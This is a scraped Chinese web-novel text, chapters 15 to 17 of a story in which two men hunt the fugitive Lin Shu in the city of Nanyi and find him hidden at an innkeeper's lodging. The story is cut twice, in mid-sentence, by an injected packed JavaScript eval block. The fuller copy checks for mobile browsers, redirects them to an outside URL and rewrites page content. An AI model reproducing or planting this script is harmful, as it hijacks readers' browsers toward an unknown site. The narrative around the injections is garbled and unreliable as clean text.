韩时元哦了一声,拖着长长的尾音,疑问道:“原来韩大人说的先走一步不算数了。” 宋景熙憋住笑,韩明吉先前嫌弃他们骑得慢,说什么别拖他的后腿,甩下狠话后先走一步了。 韩明吉喷火道:“我没说!!还有你怎么知道我是谁哦我知道了,宋景熙,你!一定是你告诉他的是不是?” 宋景熙道:“那又怎样?” 韩时元摊手道:“宋大人,看来先行一步的,得是我们了。” 宋景熙会意,扬鞭而去。马蹄飞扬,人马共震,尤其是后面的韩时元,原先他是将手臂放在宋景熙腰侧腿上以防自己掉下去,现在两人被颠得七荤八素,稍有不慎后面的人便会掉下马去。双人共乘时,若行速过快,最好的办法便是由身后的人来持鞭。两人皆明白这一点,韩时元接过宋景熙手里的鞭子,由他来纵马,这样一来,马匹一颠簸,手里又失去了牵引,宋景熙不由得向后倒去。 他撞上的胸膛宽阔结实,马背上这样的腹背撞击使他下意识绷直脊背。而且颠得难受,他不由得身体僵硬起来,尽量避免接触,因为实在是太奇怪了! 韩时元毕竟没有全身心投入到纵马奔腾中,他感到身前的人过分紧张,便柔声道:“别紧张,放松你的身体,跟随马匹的节奏。” 他说的没错,骑马时很讲究身形动作的节奏和谐,若身体太僵硬,反而会伤到筋骨,甚至可能会被甩下来。宋景熙暗自咬牙,勉强放松了身体。 韩明吉也是立刻狠狠扬鞭咬了上来,气急败坏道:“想甩下我?没门!” 两个姓韩的就这么你一追我一赶的,分外起劲,倒是苦了宋景熙这个“局外人”。宋景熙有苦说不出,心里苦哈哈地想自己当时应该去找家里要一匹马来,而不是为了图方便,贸然骑着一匹马便出发...... 渐渐地,宋景熙倒也适应了共乘时马匹的节奏,身体逐渐放松了下来。韩时元也主动将缰绳放松了点,不再继续和韩明吉争个前后高低,放缓速度,找了个身前之人会觉得适意的速度,匀速骑行。 韩明吉原本落在后面,见宋景熙他们慢了下来,立刻露出鄙夷的眼神,心道骑的什么破马,才跑了这么一会便不行了,真是不如他坐下的这一匹雄马。他趁着机会,赶紧打马而过,得意大笑:“我赢了!哈哈哈哈哈哈哈哈哈哈哈哈!” 宋景熙根本不拿正眼看他,他想韩时元慢下来的原因很简单:他们面前有条岔路,得看地图走哪一条。他举起韩时元先前递给他的舆图,指了指右边,大声道:“两条路都能到,右边会快些,走右边。” 韩明吉的耳朵动了动,听到这句话,他立刻骑着马朝右边飞驰而去,忽然又谨慎地扭头看去,见宋景熙他们也上了这条路,便朝二人投去嘲讽的眼神,放声讥笑两声后才放心奔驰而去,转眼间便消失不见。 等韩明吉人马跑远,韩时元又放慢了马步,并调转马头,回到分岔路口,朝左路口走了去。 宋景熙拍拍他:“怎么回来了?” 上了左路口,韩时元又加快速度:“先前看了那般久的舆图,怎能白看。路线我可是都记住了,其实左边这条路才是最近的,对吧?你方才说那样大声,可不就是故意误导他走远路么。” 宋景熙笑道:“既然知道我故意误导他,那为何还要走那条错路。” 韩时元道:“我看他还颇为谨慎,即便走上远路也要转身看我们走了哪条,我当然得将计就计,让你出口气了。” 宋景熙装模作样地咳了一声:“哪里是出气,不是你说不想看见他吗。把他引走,省得他在我们面前晃悠,多好。对了,我再看看悬赏令,林树长什么样子来着......” 15. 空亡其三 宋景熙又将悬赏令上林树的画像记了一遍,并且举起来给身后的韩时元也看了一眼。 “记住了?” “记住了。” 画像下写着林树的其它信息。不用这些信息,也能很轻易地记住林树的相貌,因为林树本身就长得很有特点。宋景熙道:“你觉不觉得,这张林树的画像有些不对劲?” 韩时元道:“比如,二十二岁的年龄和三十二岁的长相?” 画像上的林树脸庞削痩,眼神凶恶,看起来的确没有半点年轻的气息,反而给人一种山贼军师的气质。 宋景熙点了点头,却又摇了摇头,道:“你说的也对,但我觉得不对劲的点不止在这里。我是觉得他这双眼睛很奇怪,有一种,一种......” 韩时元道:“割裂感?” 宋景熙道:“对!说到点上了,就是这种感觉。他的脸和他的眼睛有一种说不清的割裂感。也许是眼神?这种眼神,似乎有些不适合他。明明和我们一般年纪,却和我们大不相同。” 韩时元看着画像沉吟片刻,而后道:“分明是一脸苦相,却长着一双写满了狠戾的眼睛。果然奇怪。不过,或许是因为画这幅画之人的原因?” 宋景熙也道:“有可能。果然还是人不可貌相,真是难以想象,这样的人竟然做出了灭门的血案。这眼睛......看久了越发觉得渗人。”他收起悬赏令,重新看向舆图,道:“最多一个时辰,便能看到南邑城了。” ...... 午后,南邑城。 虽然到达的时间比宋景熙预估的慢了些,但也不算晚了。现在当务之急,是找个客栈,填饱肚子,并为夜晚下榻做准备。 根据南邑城客栈好评榜,当之无愧的第一名,是为城东的一家无名客栈。 路人眉飞色舞道:“为啥叫无名客栈嘞?那当然是因为许多年前,客栈老板做坏了生意,被砸了馆子。原来的客栈招牌也就在那时被砸掉了。后来老板又重启门户,新做了个招牌,只写了客栈两个字,写名字的地方却空了,所以我们南邑人都叫它:无名客栈!” 宋景熙随便拦下的这位路人十分热情好客,简直对其口中所说的南邑好评第一:无名客栈大夸特夸。为了避免这位路人继续说下去,宋景熙赶紧道:“多谢多谢,我们这就去无名客栈落落脚。” 两人风尘仆仆地往路人所说的无名客栈去。到达客栈门口时,却皆沉默了。 无名的招牌,没错,应该的确是“无名客栈”。只是...... 客栈看起来十分破旧,尤其是门窗,窗纸是破的,门槛是破的,墙体有些剥落,总之破破烂烂的,有些磕碜。大门虚掩着,整体来看,不像客栈,像废墟。 宋景熙道:“这到底是无名客栈,还是无人客栈?” 罢了,既然来了,先进去看看。 一进客栈,竟是空无旁人,一个客人也没有,只有几个伙计坐在大堂桌椅上打着瞌睡,柜台有个算账人,十指将算盘拨拉得哗哗响,这些伙计竟也没被吵醒。 宋景熙心道:哦,原来还是有人的。 只是外表很磕碜,客栈里却很是整洁,也不知客栈老板为何不修修门口。也难怪没客人,从外面来看,根本没有让人想要进去一探究竟的欲望。 宋景熙走到台前,道:“两间房。”说完,他鬼使神差地抬头看了眼韩时元,韩时元只笑不语,看来是没什么意见。 算账人从一堆账本和算珠里抬起头,笑容满面道:“好嘞,二位贵客就住二楼两间吧!您二位可有什么想吃的?本店提供各种菜肴糕点,除了宫廷菜式,应有尽有!这是菜单,您看看。” 正好一路奔波也饿了,宋景熙接过菜单,这上边的确是什么菜酒应有尽有,只是大部分菜名被无情地划掉,酒水更甚,全部划掉。能吃的就那几样,惨淡。 宋景熙随便点了几样名字听上去能下肚的,又递给韩时元,让他选,并大方地道:“全点也行,不差钱。” 韩时元摇头,笑道:“你点的就好。”说着便将菜单还给了算账人。等付完帐,算账人立刻夹起算盘冲到打瞌睡的几人旁,一人赏了一算盘,将几人全部砸醒,大喊:“起来!客人来了!” 宋景熙眼见着这些人个个惊坐起,其中一个人揉着眼道:“老板,咋了...娘嘞,咋来客人了,吓死俺了!” 原来不是算账人,是老板!更奇怪的是,这家客栈,居然是老板算账,伙计睡觉! 那伙计又被客栈老板赏了一算盘,几声清脆下去,伙计们全部清醒了,老板很没好气地道:“才守了几日夜就累成这个鬼样子,没用的家伙们,赶快干活去,该打水的打水,喂驴的喂驴,哦客人你们骑的是马?喂马的去喂马!算账的算账,炒菜的炒菜,快去!” 几个伙计一哄而散了。 宋景熙找了张桌椅坐下,韩时元坐在他对面。 刚坐下,宋景熙便低声道:“这家客栈好生奇怪。” 韩时元轻轻点了点头,他已经将无名客栈环视了一圈,而后眼神落在一处,低声道:“看那边。” 他指的是右侧客栈大门处旁,那里摆了五六把棍棒。 韩时元又朝柜台那边看去,宋景熙顺着他的目光,柜台那边,老板正在对着算账伙计指指点点。这两人不是重点,柜台旁倚靠着一把大砍刀,被磨得锃亮。 若不是知道这是家客栈,不知情的人进来,必然会以为这是什么山沟寨子里的土匪堂子。宋景熙再次低声道:“南邑治安很差吗?连客栈里都要配备这么多武械。” 韩时元道:“最近看来是很差,毕竟有那起灭门案在。或许是因为林树逃逸,所以南邑人才准备武器以便自保。” 宋景熙点了点头,赞同这个说法。毕竟他们来的路上,看到不少南邑百姓腰间挂着菜刀。总不可能是南邑某个特别的风俗吧?哪有这么奇怪的风俗的,想来是为了自保,以免自己成为杀人魔林树的刀下魂。 “也不知林树逃到了哪里,但想来是不会逃出南邑。也难怪南邑百姓人手一把菜多,只为保命要紧。” 在来南邑之前,两人还搜罗了一阵情报。据说这凶手是在夜晚夜深人静之时出逃,而那时南邑城门紧闭,城墙有士兵驻守,凶手又不会飞,不可能逃出城。并且凶手为了出逃而杀死狱吏的事情很快暴露,狱吏的尸体被官府的人发现时还留有余温,发现尸体后南邑城即刻戒严。在南邑进出城本就严格,需要查看腰牌,戒严之后更甚,任何人都要仔细盘查才能出城。 因此宋景熙说得不错,凶手极有可能还停留在南邑城内,几乎不可能逃出了城。他们此番来南邑,就是打算瓮中捉鳖,也不止他们这样想,所有撕了悬赏令的赏金客都这么想。 不过理论上简单,办起来要真这么简单,那南邑衙门和捕盗厅也不会搜查了这么久也没能找到凶手了,更别提捕盗厅还在各地发布了悬赏令,为了高额的赏金,不少民间能人也聚集在南邑,可偏偏这样多人都没能抓到逃犯。可见凶手藏得有多深。 宋景熙思索片刻,当即招手呼唤柜台那边的老板。老板也是指指点点完了,走了过来,一屁股坐在二人对面的长凳上,热情道:“说起来,您二位只怕不是南邑人吧?” 宋景熙奇道:“的确不是南邑人。我们从汉阳而来,听说南邑风土人情不错,闲来无事便想着来游玩几番。”为了避免老板开始对风土人情大谈特谈,宋景熙又指指韩时元,道:“我和同伴初来乍到,对南邑不太熟识,只知南邑人口颇多,又多货商来往,想来这些人都喜欢投宿客栈才对,为何今日在此却不见什么人来往?南邑人不喜欢住客栈么?” 老板哈哈道:“不啊!您是外地人,对南邑的事有所不知。我这客栈以往确实是日夜爆满,仔细算下来,连算盘珠子都敲坏过八十八个。唉!要不是那件事,我这无名客栈也不至于这么落魄啦!” 韩时元道:“那件事?指的是?” 老板支吾道:“就、就是,就是那件事嘛哈哈!” 韩时元道:“灭门案?” 老板拍腿道:“早说嘛,原来两位知道,哈哈哈,哈哈哈......看来是这事实在太残忍了!居然连王城那边都知道了。死了八个人啊,好几个都被开膛破肚了,听说有的至今连尸身都没找全,不知道被藏在哪了,吓死人了!我们南邑的治安向来是好的,几十年都没出过这种丧心病狂的事......哎呀先不说了,我去看看柴火烧得怎样了。” 等点的菜陆续上来,宋景熙动筷尝了些,倒比他想象中的味道好些,和汉阳的风味有些差别。不过出门在外么,也不求吃得好,只求吃得饱了。 宋景熙向来不好多食,一般只吃个七分饱便会停筷。韩时元则和他有所不同,比他吃的多得多,秉持的又是细嚼慢咽的原则,所以又比他吃的慢得多。等宋景熙吃得差不多了,拿帕子擦了擦嘴,看到韩时元依旧是那般从容的吃相,和惊人的食量,宋景熙默默盯着他看了会。 难道这就是他长得这么高的原因? 宋景熙有些郁闷了。如果他没记错的话,六年前,他们一样高。 宋景熙长呼一口气,决定再吃点,灌了一口茶后,他又唤了老板过来,道:“关于林吏房家中之事,有没有谁比较清楚?” 老板双眼顿亮:“这可不问对人了嘛!我清楚!” 原来,这林吏房家中有三子,长子和次子皆是正房所出,唯有幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋景熙心下一惊,看了韩时元一眼,见韩时元正淡淡笑着,心里琢磨了一小会,又觉得不必震惊。曳扇台毕竟是情报最灵的地方,韩时元知道这些在正常不过了。更不必说他在江原道那会,李珘肯定让人重点关注了他在江原道的行为。 “果真是粉袍郎君,我钦佩已久。如今见到本人,也是让我这破烂客栈蓬荜生辉了哈哈哈。” 说完,老板摸了摸下巴,一副老神在在的模样,眯了眯眼,又道:“不过啊话又说回来,林树那件案子,二位大人,要我说么,这案件还真不一定简单。” 宋景熙道:“哦?哪里不简单。” 老板道:“您这就有所不知了,请慢慢听我讲来。这林树被抓的时候,正躺在一片血泊之中,甚至行凶的斧头也倒在他身旁。一家九口就他一个人没死,那他是凶手这件事当然是板上钉钉的了。后来官老爷审问时,问林树认不认罪,林树只说,不是他干的,是别的人做的。可是问他是谁干的,凶手又长什么样,他却支支吾吾说不清楚,证词十分混乱。所以众人都认为他是为了脱罪而胡乱编造,便直接将他判斩刑了。” “虽然几乎所有人都相信林树是凶手,当然了我也觉得林树肯定是凶手么。但也有另一种说法,说确实不是林树干的。据说,据说啊,林树被抓起来的时候,人们发现他的一条手臂上有一天十分骇人的伤口,正是那利斧割开的。认为林树不是凶手的人相信凶手确有旁人,否则林树怎会杀了人还不逃跑?再者林吏房也有几位仇家,说是仇家寻仇痛下杀手也未尝不可,也许那林树看到家中被屠,自己又被砍伤,所以吓晕了过去,也并非毫无可能啊!哎不过么,不久前林树为了逃跑,竟然杀死了两名狱吏,往大了说,他手上有十条人命,往小了说,他手上也有两条人命,无论如何,他都是个难逃一死的罪人呐!” “据说......”沉吟片刻后,韩时元抬眼道:“老板知道的挺多,看来消息相当灵通了。” 老板哈哈哈道:“自然,那是自然了。南邑不是四方货郎往来之处么?以往投宿的人多,都爱在客栈里谈天说地,流言满堂,传到我耳里也就不奇怪了。再说流言传说谁不爱听?客人么就喜欢听这些当乐趣,身为客栈老板,消息不灵通些,怎能抓住客人的心呢!” 宋景熙道:“不知老板贵姓?” 老板道:“哎呀免贵姓魏。” 宋景熙也哈哈哈道:“魏老板说得对,若没有魏老板讲这些,这顿饭确实无聊。”说罢,他朝客栈外望了望,天色还是一片蓝白,接着便看向韩时元,道:“外面天色正好,现下也休憩好了,正是欣赏南邑风光的好时刻,不若出去走一走?” 二人默契地交换了一个眼神,韩时元立刻明白意思,露出一个浅淡的笑:“好。” 16. 空亡其四 南邑城内。 欣赏风光是假的,查探消息是真的。宋景熙和韩时元二人费了一阵,跑了各种酒家茶馆,所打探到的消息和魏老板所说的大差不差——由于流言传得甚广,所以不同版本有不同的说法。 边走,宋景熙边道:“这么类比下来,居然只有魏老板说的最合情合理。看来南邑人很爱好传言啊?” 韩时元颔首道:“或许魏老板是从众多说法中挑出了最合理的,然后再将之讲与我们听。不过关于案情的更多细节并没有答案,譬如,林树口中所说的‘真凶’的证词,竟并未流传出来。” 宋景熙道:“看来这点的答案只能从南邑衙门的卷宗里得到了。天将黑了,若是要去官衙索取也不着急。不如先回客栈歇息,我们明日再前往?” 韩时元没有异议。 ...... 无名客栈。 夜半。 这一觉,宋景熙睡得并不安稳。一阵莫名的冷气不知从何而来,灌进房间里,竟然将他弄醒了。 宋景熙迷迷糊糊睁开一只眼,看见房门竟然开着——他睡前明明已经将房门关上了。就在他从准备从榻上起身去关门时,从门沿边缓缓出现一道黑影,卡在只开了一半的门缝间,然后便一动不动了。这应该是个人,但十分模糊,甚至看不清是正对着他还是背对着他。 但宋景熙觉得,这人应该是在看他。 他可不经吓,刚看到这黑影便被吓醒了,好歹没有叫出来,代价就是吓出一身冷汗。现在他紧张地躺在榻上,瞪眼盯着黑影。 好在他一直有个习惯,便是无论去哪,都要背着他的刀;他还有一个好习惯,便是无论睡在哪,睡前都会将刀卸下来,放在榻旁。即便是黑夜里,只要随手一摸便能摸到。比如现在就已经摸到了他的刀。 黑影一直没有动作,只是完全静止地停在门口。但宋景熙是有动作的,表面上一副依然安睡的模样,但被褥底下,他正缓缓地移动右手,先是冰冷的刀鞘,然后是凹凸不平的刀柄。他握紧刀,计算着如果黑影突然发难,会怎样发难,自己又要怎么应对。 然而奇怪的是,黑影就是一直没有动作。宋景熙眯了眯眼,现在他被吓到的心脏也缓下来了,胆子也大了点,试探性地抬了抬头,发现黑影依旧没有动作后,便干脆慢慢坐了起来。 这期间,他的手一直没有离开刀柄。一人一影就这么对视了一会,也不知过了多久,忽然,黑影轻微晃了晃,然后转身消失了。 宋景熙长呼一口气。赶紧从榻上起身,就着一片漆黑摸到烛台前,用火镰擦亮蜡烛,然后一手举着烛台,一手握着刀,小心翼翼地走出了房间。 二楼走廊里空无一人,所有房门也都紧闭着,没见到任何人,也没有任何异样。这很奇怪。宋景熙心道:“难不成,那黑影人下楼了?” 想到这,他又小心翼翼地走到楼梯边,借着烛火往一楼看去。烛火能照到的地方有限,宋景熙便往下走了几步,下到一半了,发现一楼的客堂一样是空无一人,静悄悄的。 黑影人不可能凭空消失,或许离开了客栈?但这不太可能,因为客栈的门已经被魏老板上锁了,除非那黑影能飞或者遁地。这么想着,宋景熙摇摇头否定了这一猜想。既然如此,那么黑衣人能藏的地方就只有......房间里! 背后一阵推门声! 宋景熙猛然转身,横刀护在身前。 然而他眼前的不是别人,竟是韩时元。 宋景熙惊讶道:“是你?” 韩时元和他一样,一样只穿了件中衣。这不由得让宋景熙多看了几眼,先前总看他一身黑,如今一身白,两个极端,倒是不一样的感觉。 韩时元嗯了声,不像是刚睡醒,声线十分平稳:“睡得浅,听到外面有脚步声便醒了,出来看看。你也听到了?” 宋景熙将刀收回,道:“不是,我方才莫名醒来,看见房门口竟然有个黑影。那人也不进来,只是站在那里,待了很久才离开。我想着出来找找,原来你也醒了。你听到的脚步声,难不成正是那人?呃不过,也有可能是我的脚步声。” 韩时元思索一阵,而后道:“离我听到脚步声到现在已经有一阵子了,所以吵醒我的脚步声应该正是黑影。并且此前我还听到过一声推门的声音,看来他开的正是你的门。” 楼上好几间房,偏偏选中他。宋景熙只能自认倒霉,又想起消失的黑影人,便道:“不知他为何没有进来,待了会便离开了,现在不知道他去哪里了,二楼和一楼都没有他的身影......” “难道......”宋景熙说出心中猜想:“他不会进了谁的房间吧?” 韩时元点头道:“很有可能。说不定他并未下楼,而是就藏在二楼的某个房间里,或许,正在偷听我们的谈话。” 宋景熙毛骨悚然道:“你这么说就有些吓人了。又不是个鬼,既然藏着,抓他出来便是了。” 韩时元哈哈一笑,道:“人比鬼可怕啊。” 片刻后。 二楼也就几个房间,都空空荡荡的,除了几样简单的家具,什么都没有,更别说半个人了。 宋景熙道:“看来他往一楼去了,我们下楼看看。你有刀吗?” 韩时元像变戏法一般,从背后变出一把短刀,宋景熙认出来这是他平常就喜欢佩戴在腰间的刀,刀鞘和刀柄全黑,也没有任何工艺,十分趁手且不起眼的一把。不仅如此,韩时元还将短刀抽了出来,和他的手掌一般长,在烛火下泛着冷色的光。 宋景熙道:“这...也行,好像从未见你用过?你就没有一把长的?哎无事,万一出了事,我保护你。” 韩时元温声道:“好。” 烛光下,他的脸部线条更显流畅,宛如雕塑,眼睛也亮晶晶的,宋景熙竟鬼使神差地没有移开眼睛,定定地看了会。 啊———— 一声凄厉的尖叫响彻整个客栈,随即是此起彼伏的好几声尖叫。都是从一楼传来的。宋景熙回神,和韩时元对视一眼,两人当即朝楼下奔去。 具体来说,凄惨的叫声是从伙计们的房间里传出来的。两人刚下到一楼,伙计房间的大门便轰然炸开。几个伙计抱成一团拼命向外逃跑,木门承受不住这样的推力,一股脑将伙计们吐了出来。 伙计们砸在地上,哎哟哎哟叫成一片。宋景熙赶紧上前关切道:“你们没事吧?” 几个伙计看见两位客人就在眼前,手里还有蜡烛和刀,于是赶紧从地上爬起来,逃到两人背后,揉胳膊的揉胳膊,按腿的按腿,皆是一副被吓破胆了的模样。其中一位伙计捂着心口喘着大气控诉道:“客人,那、那里,那里有,有!” 宋景熙耐心安抚道:“不着急,慢慢说,有什么?” 伙计猛拍心口,吐了几口气,道:“有人!” 伙计话音刚落,宋景熙心中便道:“那黑影果然跑到这来了!” 伙计继续道:“妈、吗呀...太吓人了!我正睡得好好的,突然听到有人在我脚边说话,睁眼一看,有团人影蹲在那里对着我哦不,对着我脚说话,我还以为是老黄这个家伙!” 被唤作“老黄”的伙计道:“放屁!我也睡得好好的,干什么到你脚边说话,你有病啊!我也是听到有人在我耳朵边说话,我还以为是大田那家伙,我就给了他一巴掌,让他滚一边去!” 被唤作“大田”的伙计道:“你也净瞎掰扯!我睡得可死,要不是你一嗓子给我吓醒了,还说什么有鬼,我也不至于被吓得跑出来!” 老黄道:“你先别说话!我给了那个家伙一巴掌以后,没想到他突然一声不吭掐住我脖子,吓得我赶紧反手去打,结果他又突然松手,抓住我胳膊狠狠咬了一口!还好我劲大,给他甩开了。哎你们看,血淋淋的,痛死人了!” 老黄的胳膊上果然有一道吓人的口子,深深的齿印里血肉都快模糊了。 大田看了口子,骂道:“这是人咬的,那你干啥说有鬼,哥几个最怕鬼了你又不是不知道!有病啊给我吓得。” 老黄溜了溜眼珠子,挠挠脑袋,有些心虚道:“嘿嘿,没醒的时候我正好在做噩梦嘛,梦到有人说要杀我咧,嘿嘿,嘿嘿嘿...”忽而又横眉道:“咱们南邑这地界就这样,不止商人货郎喜欢来,犯了事的也乐意往这逃,这闯进来的定是个逃犯!不对啊门不是锁着呢嘛,那家伙怎么进来的,还这么巧进了我们房间!诶对了,里头那家伙怎的好像一直没动静啊!客人,要不...您进去看看?” 大田道:“你为啥不自己进去。” 老黄心有余悸道:“啧!我手上没东西,怕进去了挨咬啊!那家伙万一是个穷凶恶极的,手里有刀咋办。” 宋景熙捂了捂脸,随即凝目道:“别害怕,我们先进去看看。”他朝韩时元一挥手,两人便踏进了房间。 房间里,有一人正躲在靠近房门的墙角里,蜷缩成一团,埋着手臂和脑袋,只露出两只脏兮兮的脚。而且,正在轻微地颤抖着。 见有光照进来,角落里的人脑袋动了动,抬起了头。 看见这人的相貌,宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773765|157869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景熙和韩时元皆是一惊。 因为这人和悬赏令上的画像长得一模一样,正是林树! 不,也不一样,虽然外表相貌和悬赏令上的一样,但眼神不一样。画像上的林树眼神凶恶狠戾,而他们眼前的林树,双眼空洞无神,虽然脸对着他们,眼里却好像没有他们,或者说,不止他们,根本没有任何东西。 “......”宋景熙道:“他是林...” “老板!” 外头同时响起一这声喊。接着魏老板竟突然出现,他竟冲了进来,眼里满是惊慌,朝角落里的人道:“啊!你在这!” 他又朝屋内二人看去,似乎想说什么,但上下两瓣嘴唇止不住地打颤,最终什么也没说。然后仿佛下定了什么决心般,赶紧从地上拾起一件衣服,一股脑盖到林树头上,遮住了林树的脸。 林树脑袋刚被套上,就像变了一个人般开始剧烈挣扎。魏老板跪在地上,隔着衣服抱住林树的脑袋,颤颤巍巍道:“别怕,是我,是我,我是魏叔,是我啊小树......” 有好奇的伙计伸着脑袋进来看,魏老板便转头低声呵斥:“出去!”然后又重复对林树说的话。如此重复了十几遍,林树竟然逐渐冷静了下来,没有再挣扎或者颤抖,反而用一种极其细微和迷茫的语气道:“魏叔......” “是我,魏叔在这。和魏叔走,好不好?” 布袋脑袋迟疑地上下点了点,魏老板小心翼翼地将林树扶了起来,并且再次仔细将林树脑袋上的衣服盖严实了,生怕它掉下来。一大一小搀扶着缓慢走出房间,走了几步,魏叔又扭头看着地上,不敢直视屋内两人,叹息一声道:“请两位大人随我来吧。” 这是在说宋景熙和韩时元了。 房间外,客栈的正门也打开了,放在门处的棍子也被伙计们握在了手里。见魏老板扶着一个人出来,几个伙计皆是面面相觑,老黄抓抓脑袋道:“老板你这是?” 老板挥了挥手:“没什么,这是我侄子,在这借宿几天。吓到你们了,你们这两天还是先休息着吧,客栈先关门几日。没啥事,都散了散了。” 等几人上了楼,老黄又挠了挠脑袋:“老板哪来的侄子,这么多年不一直都是一个人吗。” 二楼,尽头房间。 闭门前,宋景熙似乎有些担心,朝外面望了望,却听魏老板道:“他们不会上二楼的,都是很守规矩的家伙。” 宋景熙没说话,韩时元没说话,都没说话。 宋景熙关了门,先声问道:“这位是魏老板你的侄子?” 魏老板将林树放在地上,跪在地上,背对着宋景熙和韩时元,道:“哈哈...让二位见笑了,我侄子和常人有些不一样,想不到竟然会出来吓人,真是万分抱歉...” 韩时元靠在墙边,双臂环于胸前,面无表情道:“魏老板的侄子叫林树?” 魏老板的身影一僵。 宋景熙并不吃惊,转头看了韩时元一眼,那神情好似在说:“原来你也这么想。”他冷静道:“是吗?魏老板。” 魏老板沉默了一瞬,而后道:“看来二位不是普通行客,也是为了悬赏令而来吗?” 片刻后,没有回答。但沉默也差不多是回答了。 “唉,看二位的衣着打扮,怎么会是那些靠赏金谋生的家伙。二位一早便知道灭门案,恐怕此番来南邑,也是为了此案而来吧。二位,是汉阳派来缉拿逃犯的?” 汉阳派来缉拿逃犯的人?这个身份,还挺适合拿来用用的。宋景熙毫不犹豫便道:“是。” “好吧,我明白了。”魏老板掀开盖在林树头上的衣服,林树削痩的脸上满是迷茫,魏老板看了一眼,便闭眼叹息道:“二位有什么便问吧。”这语气,颇有种自暴自弃的意味。 韩时元道:“何须我们问,魏老板不该自己交代么?” 宋景熙把他的话扩充了一下:“魏老板,私藏灭门案的凶手也是死罪,林树为何会在你手上?” 坐在地上的林树眼睛里的迷茫转变为了惊恐,他抬头看了这两名陌生人好几眼,害怕地道:“魏叔...他们是谁...” 魏老板拍拍林树的背,安抚道:“小树啊别害怕,他们是好人,不会伤害你的,你要是害怕,就闭上眼睛,捂住耳朵,好不好?” 林树听话地闭上了眼睛,捂住了耳朵。魏老板喃喃了一阵别害怕,才站了起来,不待多问,便道:“二位大人,小树他的确不是我的侄子,和我没有任何血缘关系。但我很早以前,就认识这孩子了。” 17. 空亡其五 十年前,林树十二岁。 这一年,林树的母亲得了一场大病,病情危急,命不久矣。但林家人不愿意花钱给她治病。 因为林树母亲在林家并不受宠,一来她身份低贱,二来她生了个傻儿子。再者,她得的是绝症,根本治不好。林家人连花钱给她花钱吊命也不愿意,死就死了吧,棺材钱,总比药钱便宜。 林树虽然是十里八乡出了名的傻儿子和受气包,但他不会傻到连母亲快要死了都不知道。所以他日求夜求,可林家人一直不为所动,林树一咬牙,扛着病重的母亲挨家挨户地乞求施舍。 可是想给钱的没钱,有钱的又不给。 林树又背着母亲去求医治疗,先是医馆、再是药铺,可是都要钱,他又没钱,没有谁会做这桩生意。最多只给一副药方子,满页纸写满了药材,却更是只写了一个字:钱。 为了凑齐药材钱,林树又开始了挨家挨户的乞讨。最后讨来讨去,只有一家客栈的老板出钱出力,给了支援,但林树的母亲还是因为病得严重而不幸过世了。 这下人死了,人死归尘土,林家人总该掏副棺材钱吧。 “棺材钱不是钱啊?哪来的那么多钱给你造,拿个破草袋子卷一卷,埋土里,得了!” 好吧,再不济,得出个下葬费吧。 那也是白日做梦。 林树卖身葬母。还是客栈老板,又自掏腰包给林树母亲弄了副棺材,将其下葬。 一时间,人人称赞客栈老板宅心仁厚,林家人真是绝情。 有人就说了,老板,反正你无妻无子,不如收养这孩子,届时给你送终吧! 客栈老板正有此意,便决定收养林树,但林家人绝不同意。 有人又说了,反正你对这孩子又不好,你非得把他绑在身边做甚?还不如送与他人,自然有人待他好! 林家人本就因为旁人的口舌而生气,现在竟然让他们把林树送出去,让这小子过上好日子,那是绝对不可能的。 林家人将林树关了起来,并且砸烂了老板的客栈。砸客栈的原因很简单,他们声称,林树母亲和客栈老板通奸,他们早就知道了,所以那女人病死不过是天谴罢了!再说了,那老板为啥要给一个陌生女人治病,还出那么多钱安葬,真是好心吗,别天真了,天底下哪有这样的好人!天底下饿死病死的人那样多,为何只救她一个?不是有奸情是什么! 旁人一听,又觉得林家人说的不错,看来真是有隐情,一时间,风言风语又换了个方向。 不久后,客栈老板消失了。 林树被林家人囚禁了起来。 地下的尸体成了白骨时,客栈老板回来了。没有改名换姓,还是叫魏老板。 魏老板在被砸成废墟的客栈原址上重新开了一家客栈,重新修葺了内部,但客栈外面却只是小修小补,几乎维持了原样。这次他没有给客栈起个寓意美好的名字。在本该写着客栈名字的招牌上,是一片空白。久而久之,南邑人叫它无名客栈。 十年后,林树二十二岁。犯下了骇人听闻的灭门案。 往事听罢,韩时元呵了一声:“要我说么?林树干的不错,林家人的确该死。” 宋景熙正在沉思,听韩时元这么说,也心下赞同,林家人确实是死有余辜,但他将这话藏在心里,没有说出来。 魏老板道:“听了这样的故事,也许二位会更加觉得小树他是凶手,毕竟几乎在所有人眼里,这就是一起仇杀的惨案。但是,请二位大人相信我,我在此之前所说的话,也就是白日时同您二位所说的关于灭门案的事情,没有半分虚假,除了我认为小树是凶手这件事以外。” 他话说得绕,宋景熙在脑海里搜刮了下白日里听魏老板说过的话。“除了我认为小树是凶手以外”,这是什么意思? 韩时元皱眉道:“你的意思是林树不是凶手,真凶另有其人?” 魏老板毫不犹豫地点头道:“是,我不认为林树是凶手。” 宋景熙道:“为何?请讲。” 魏老板深深地点了点头,而后拍了拍林树的背,语气柔和地道:“小树啊,该醒了,放开耳朵,睁开眼睛吧。” 林树依言照做,小声喊道:“魏叔......” 从宋景熙的视角来看,林树的眼神似乎没有之前那样呆滞了。 魏老板道:“小树啊,你可以和魏叔讲一讲,那天晚上你看见了什么吗?” 林树陷入了一片迷茫:“那天晚上......” 魏老板提醒道:“河边。” “河边......”林树眯起眼睛,嘴里一直念着这一个词,似乎是在努力回忆,忽然,他大叫一声,喊道:“是我害死了他们!” 